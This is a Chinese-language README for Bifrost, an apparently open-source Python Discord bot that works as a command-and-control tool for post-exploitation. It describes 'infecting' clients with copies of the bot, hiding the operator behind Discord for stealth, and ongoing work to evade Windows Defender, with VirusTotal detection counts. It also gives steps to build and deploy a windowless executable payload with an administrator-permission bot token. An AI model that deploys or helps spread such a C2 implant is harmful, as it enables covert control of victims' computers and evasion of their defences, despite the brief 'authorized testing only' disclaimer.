Bifrost 是一个开源的 Discord 机器人,充当 命令与控制 (C2)。此 C2 使用 Discord API 进行客户端与服务器之间的通信。
该 C2 使用 Python 开发,具有多种用于后期利用的功能。
如前所述,Bifrost 本质上是一个 Discord 机器人,它接收 Discord 用户的命令并执行预定义的任务。
因此,对于你要“感染”的每个客户端,你都将发送此机器人的副本,它将使用 Discord 向你响应。这允许你隐藏在 Discord 服务后面,实现隐蔽性,并在你和客户端之间建立安全连接。
免责声明:本项目应仅用于授权测试或教育目的。
目前 Windows Defender 已检测到 Bifrost,我正在努力解决这个“问题”并再次绕过它。
在没有沙箱执行防御时,VirusTotal 的检测率为 5/67。
检测到 Bifrost 为恶意的杀毒软件包括:SecureAge APEX、Jiangmin、Cynet、Zillya 和 Palo Alto Networks。
Bifrost 是一个开放项目,因此,如果你想为 Bifrost 添加某些功能、改进特性或代码性能,最好方式是通过创建分支并提交拉取请求来将其合并到主项目。
1 - 克隆或下载 Bifrost 源代码;
2 - 安装依赖库;
pip install -r requirements.txt
3 - 拥有 Discord 账号;
4 - 在 Discord 上创建一个应用程序(机器人);
5 - 进入 General Information 选项卡,复制你的 Application ID;
6 - 进入 Bot 选项卡,创建机器人并复制其 Token;
7 - 使用以下链接邀请你的机器人到 Discord 服务器,并将 APP_ID 替换为你的 Application ID;
https://discord.com/oauth2/authorize?client_id=<APP_ID>&scope=bot&permissions=8
8 - 在 Discord 服务器中创建一个频道,并复制其 ID;
注意:在 Discord 应用中启用开发者功能,以便轻松复制频道 ID。
现在,有了这两个信息(频道 ID 和机器人令牌),将 bifrost.py 文件中第 22 和 23 行的变量值替换为你自己的账号/频道值。
在创建机器人、频道并修改变量值后,按照以下步骤将载荷部署到客户端。
使用 PyInstaller 创建 Bifrost 可执行文件,或者将 bifrost.py 发送给客户端并安装所有依赖。
使用可执行文件时,客户端无需预装 Python 或任何依赖。
pyinstaller bifrost.py --onefile --noconsole --key th3r4ven_bifrost 或
python -m pyinstaller bifrost.py --onefile --noconsole --key th3r4ven_bifrost
注意:所有这些参数都是可选的,请阅读 PyInstaller 文档以获取更多使用信息。
你可以发送 bifrost.py 并安装依赖,或者创建脚本/可执行文件来自动化此过程(类似于 Windows 安装)。
由于 Discord API 的限制,无法实现屏幕实时直播 :(
